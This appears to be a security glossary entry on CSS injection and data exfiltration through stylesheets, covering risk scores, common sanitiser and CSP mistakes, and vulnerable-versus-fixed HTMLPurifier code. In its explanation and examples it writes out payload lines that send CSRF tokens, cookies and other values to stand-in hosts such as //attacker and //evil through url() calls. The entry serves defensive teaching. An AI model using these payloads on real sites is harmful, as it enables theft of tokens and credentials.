CSS Injection & Data Exfiltration via Stylesheets
debt(d5/e5/b5/t7)
Closest to 'specialist tool catches it' (d5). The term's detection_hints indicate Semgrep can detect patterns like HTML sanitiser allow-lists including style attributes or PHP code interpolating user input into style contexts. However, this requires specific rules configured for CSS injection patterns — default linters won't catch it, and many standard SAST tools focus on JavaScript XSS rather than scriptless CSS exfiltration vectors.
Closest to 'touches multiple files / significant refactor in one component' (e5). The quick_fix mentions stripping style attributes from sanitiser allow-lists, adding CSP headers, and auditing 'every place you reflect user input into a CSS context server-side'. While individual fixes are simple, the remediation requires audit across templates, sanitiser configs, and CSP headers — multiple files and configuration points, but typically within frontend/security concerns rather than cross-cutting architecture.
Closest to 'persistent productivity tax' (b5). This applies to web contexts where user-supplied HTML or style input exists. The burden manifests as ongoing vigilance: every new rich-text feature, every sanitiser configuration change, and every CSP update must account for CSS injection. It's not architectural-level (b7-b9), but it's more than localised — it affects content features, security headers, and frontend templates persistently.
Closest to 'serious trap' (t7). The misconception field is explicit: 'CSS cannot run code, so CSS injection is a styling annoyance at worst.' This directly contradicts how developers think about CSS versus JavaScript — most security-aware developers understand XSS but assume CSS is inert. The trap is that url() callbacks, @import, and attribute selectors enable data exfiltration, contradicting the mental model that 'only JavaScript can make requests or read DOM values.'
Also Known As
TL;DR
Explanation
CSS injection treats stylesheets as a code-execution surface. The classic exfiltration primitive is the attribute-selector-plus-background-image trick: `input[name=csrf][value^=a] { background: url(//attacker/a) }` makes the browser request `//attacker/a` when an input's value starts with 'a' — repeat for every starting letter, then for every two-letter prefix, and the attacker reconstructs CSRF tokens, password fields, or any DOM-readable secret. Modern variants use `@import` chains for sequential leaks, `font-face unicode-range` for character-by-character extraction, and scroll-to-text fragments for Chrome-specific leaks. Beyond exfiltration, CSS injection enables UI redressing (overlaying fake forms over real ones, similar to clickjacking but persistent), defacement, and tracking pixels that bypass typical script-blocking. CSS injection is dangerous specifically because it works in environments hardened against script execution: strict CSP, sanitised HTML, no-script extensions, all permit `style` attributes or `<style>` tags. Defences: forbid `style` attributes and `<style>` tags in user-supplied HTML; if user-controlled CSS is unavoidable (themes, widgets), serve it from an isolated origin; use `unsafe-inline` style restrictions in CSP and a strict CSS sanitiser; never reflect user input into a stylesheet context (e.g. `<style> .user-color: <?= $colour ?> </style>`).
How It's Exploited
Watch Out
Common Misconception
Why It Matters
Common Mistakes
- Allowing `style` attributes through HTML sanitisers — the single most common configuration gap.
- Permitting `<style>` blocks in user-supplied content (rich-text editors, comment HTML) without parsing the CSS itself.
- Configuring CSP without `style-src` restrictions — `script-src 'self'` alone does not block this attack.
- Reflecting user input into `<style>` tags or inline `style=` attributes server-side: `style="color: <?= $userColour ?>"` accepts payloads like `red; background: url(//evil/<?=document.cookie?>)`.
- Trusting that font-face and @import are 'just resources' — both make outbound requests that can encode exfiltrated data in the URL.
Avoid When
- Application accepts no user-controlled HTML, classes, or styles, and CSP locks both script-src and style-src to 'self'.
When To Use
- Reviewing HTML sanitiser configurations for any application that accepts rich-text user content.
- Auditing CSP headers — confirming style-src restrictions match script-src.
- Checking for server-side reflection of user input into <style> blocks or style= attributes.
Code Examples
<!-- ❌ Sanitiser permits style attributes and <style> blocks -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src],span[style]');
// ^^^^^^^^^^^
// Every span can carry user-controlled CSS.
echo $purifier->purify($comment->body);
?>
<!-- Injected: <span style="background:url(//evil/leak?token=...)"> ... -->
<!-- Fires immediately on render. --><!-- ✅ Strip style attributes and <style> blocks; tighten CSP for styles too -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src]');
// No style attribute, no <style> tag, no class or id from user content.
echo $purifier->purify($comment->body);
?>
<!-- Server response headers: -->
<!-- Content-Security-Policy: default-src 'self'; style-src 'self'; -->
<!-- img-src 'self' data:; -->
<!-- Defence in depth: -->
<!-- 1. Sanitiser strips style/class/id from user HTML. -->
<!-- 2. CSP style-src restricts inline styles. -->
<!-- 3. Sensitive forms are rendered in isolated documents (separate origins) -->
<!-- so attribute selectors in the parent page cannot read their values. -->